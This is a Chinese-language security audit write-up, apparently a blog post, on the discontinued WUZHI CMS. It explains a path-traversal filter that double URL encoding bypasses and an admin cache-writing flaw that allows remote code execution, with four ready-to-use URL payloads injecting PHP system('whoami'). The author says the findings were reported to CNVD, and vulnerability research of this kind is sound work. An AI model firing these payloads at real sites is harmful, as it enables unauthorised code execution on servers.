前言

无意中在网上看见一个开源的cms,搜索发现很多漏洞都很典型,该cms也不在更新,大多数漏洞网上都已公开,但是此次复现还是发现一些其他漏洞,均提交cnvd。

采用的是cms采用 M/F/V 路由,也就是M模块,F文件名,V方法:

文件遍历:
 public function dir()
    {
        $dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
        $dir = str_ireplace(array('%2F', '//'), '/', $dir);
        $lists = glob(ATTACHMENT_ROOT . $dir . '/' . '*');
        if (!empty($lists)) rsort($lists);
        $cur_dir = str_replace(array(WWW_ROOT, DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR), array('', DIRECTORY_SEPARATOR), ATTACHMENT_ROOT . $dir . '/');
        include $this->template('dir', M);
    }

这里过滤了一些常见的目录跳跃所用的字符,但是却做了一个很错误的操作

$dir = str_ireplace(array('%2F', '//'), '/', $dir);

将%2F 再一次替换为/,这里意味着我们可以二次编码绕过这个过滤:

image.png

后台缓存GETSHELL

漏洞触发点:

Coreframe/app/attachment/admin/index.php

image.png

通过阅读代码可以知道:

GLOBALS['setting']可以通过get或者POST提交:
seting完全可控,继续跟进set_cache函数:

image.png

arraytstring函数看了下,无法绕过,但是data不是数组的时候,可以直接写入任意内容,但是文件名不可控怎么办:

之前传入的m是模块名,也就是attachment

image.png

可以看到缓存文件是5位随机字符,很难预测。

准确来说就是这5位不可控,经过查看缓存相关的函数,最终找到一处

image.png

该处会去自动包含我们的缓存文件,意思是只要在同一个M下,我们就可以自动包含相同的cache,达到getshell的目的:

最终发现index类的构造方法:

image.png

这个类的构造方法会去调用get_cache方法,并且自动加载M,这样的机制其实也能理解:

在看了一遍正常的流程后,后台一些需要改配置文件的地方是通过缓存实现自动填充,但是当我们手动修改setting不为数组,在加载缓存的时候即可RCE

image.png

写入之后,刷新即可加载getshell

payload:

/www/index.php?&m=attachment&f=index&v=set&_su=wuzhicms&submit=111&setting=<?php%20system('whoami');

除了这个点,在审计的过程中,还存在多处类似问题:

/www/index.php?&m=member&f=index&v=set&_su=wuzhicms&submit=1&setting=<?php%20system('whoami');

/www/index.php?&m=attachment&f=index&v=ueditor&_su=wuzhicms&submit=111&setting=<?php%20system('whoami');

/www/index.php?&m=tags&f=index&v=set&_su=wuzhicms&dosubmit=111&setting=<?php%20system('whoami')

最后

该cms已经停止更新,网上还有很多该cms的漏洞,感觉都挺有趣的。

Last modification:July 9th, 2021 at 12:27 am